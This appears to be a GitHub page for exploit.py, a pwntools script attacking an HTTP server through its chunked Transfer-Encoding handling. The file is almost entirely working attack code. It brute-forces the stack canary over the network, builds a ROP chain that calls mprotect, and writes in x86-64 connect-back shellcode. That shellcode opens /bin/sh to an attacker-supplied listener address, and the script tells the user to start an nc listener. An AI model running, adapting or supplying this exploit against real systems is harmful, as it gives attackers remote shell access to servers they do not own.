-
Notifications
You must be signed in to change notification settings - Fork 1
/
exploit.py
152 lines (114 loc) · 5.44 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
# -*- coding: utf-8 -*-
# @Author: madrat
from __future__ import print_function
from pwn import *
import argparse
import struct
import time
import sys
CANARY_OFFSET = 5066
SHELLCODE_LOCATION = 0x684000
# Default offset to mprotect from rcx: -0x955d30
# because we want to use add instead of sub we must solve this modular equation:
# ((0x7fe6143d44a0 + offset) & (2 ** 64 - 1)
OFFSET_TO_MPROTECT = 0xffffffffff6aa2d0
base_payload = """
GET / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked\r\n\r\n"""
def pad(shellcode):
while len(shellcode) % 8 != 0:
shellcode += "\x90"
return shellcode + ("\x90" * 8)
def add_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-ra", "--remoteadress", required=True, help="Remote host ip address. Example: -ra 192.168.1.1")
parser.add_argument("-rp", "--remoteport", required=True, help="Remote host port. Example: -rp 80", type=int)
parser.add_argument("-la", "--listeneradress", required=True, help="Listener ip address. Example: -la 192.168.1.1")
parser.add_argument("-lp", "--listenerport", required=True, help="Listener port. Example: -lp 4345", type=int)
parser.add_argument("-c", "--canary", required=False, help="Use already found canary", type=str)
args = parser.parse_args()
return args
def ByteToHex(byteStr):
return ''.join(["\\x%02x" % ord(x) for x in byteStr]).strip()
def HexToByte(hexStr):
hexStr = hexStr.replace('\\x', '')
bytes_ = []
for i in range(0, len(hexStr), 2):
bytes_.append(chr(int(hexStr[i:i+2], 16)))
return "".join(bytes_)
def generate_shellcode(listener_port, listener_ip):
ip = HexToByte(''.join(['%02x' % int(x) for x in listener_ip.split('.')]))
port = struct.pack(">h", listener_port)
shellcode = "\x68" + ip + "\x66\x68" + port + "\x66\x6a\x02\x6a\x2a\x6a\x10\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05"
return shellcode
def rop_chain(args):
chain = ''
chain += p64(OFFSET_TO_MPROTECT) # offset to mprotect from rcx
chain += p64(OFFSET_TO_MPROTECT)
chain += p64(OFFSET_TO_MPROTECT)
# call to mpotect(SHELLCODE_LOCATION, 0x1000, 0x7)
######################## MPROTECT ########################
chain += p64(0x406d5a) # mov rax, rcx ; ret
chain += p64(0x41af0b) # add rax, rbx ; pop rbx ; ret
chain += p64(0x9090909090909090) # just junk
chain += p64(0x404536) # clc ; ret
chain += p64(0x403fbb) # pop rdi ; ret
chain += p64(SHELLCODE_LOCATION) # .data adress to write shellcode to
chain += p64(0x42e5be) # pop rsi ; ret
chain += p64(0x1000) # sizeof page for mprotect
chain += p64(0x420bb1) # pop rdx ; adc dh, dh; ret
chain += p64(0x7) # parameters, PROT_READ | PROT_WRITE | PROT_EXEC (1 | 2 | 4)
chain += p64(0x408d14) # push rax ; ret (push mprotect adress and jump to it)
##################### COPY SHELLCODE #####################
shellcode = generate_shellcode(args.listenerport, args.listeneradress)
shellcode = pad(shellcode) # align shellcode size to 8 bytes
for i in range(0, len(shellcode), 8):
chain += p64(0x403fbb) # pop rdi ; ret
chain += p64(SHELLCODE_LOCATION + i) # place buffer for shellcode in rsi
chain += p64(0x406dce) # pop rsi ; ret
chain += shellcode[i:i+8] # (place part of sh in rdx)
chain += p64(0x408e20) # mov qword ptr [rdi], rsi ; ret
##################### JUMP TO SHELLCODE #####################
chain += p64(0x426855) # pop rbx ; ret
chain += p64(0x9090909090909090) # junk
chain += p64(SHELLCODE_LOCATION) # return to SHELLCODE_LOCATION
return chain
def find_canary(args):
canary = ''
for _ in range(0, 8):
for byte in range(0, 256):
ps = connect(args.remoteadress, args.remoteport)
ps.send(base_payload + 'A' * CANARY_OFFSET + canary + chr(byte))
try:
ps.recv(1024)
print('[+] canary[%s] = \'\\x%s\'\n' % (hex(len(canary)), hex(byte)[2:].rjust(2, '0')))
ps.close()
break
except:
sys.stdout.write('\033[A[-] Trying canary: "%s\\x%s"\n' % (ByteToHex(canary), hex(byte)[2:].rjust(2, '0')))
sys.stdout.flush()
ps.close()
canary += chr(byte)
ps.close()
return canary
def main():
context.update(arch='amd64', os='linux')
context.log_level = 'error'
args = add_arguments()
print('[!] Start nc listener on your host machine using this command: "nc -vvvlp %s"' % str(args.listenerport))
if args.canary:
canary = HexToByte(args.canary)
print('[+] Using user-supplied canary: "%s"' % ByteToHex(canary))
else:
print('[?] Bruteforcing canary')
canary = find_canary(args)
print('[+] Found canary: "%s"' % ByteToHex(canary))
ps = connect(args.remoteadress, args.remoteport)
print('[?] Trying to build rop chain...')
chain = rop_chain(args)
ps.send(base_payload + 'A' * CANARY_OFFSET + canary + chain)
print('[!] Completed! Check your listener... (If nothing happened, try restarting the exploit)')
ps.recv(1024)
if __name__ == "__main__":
main()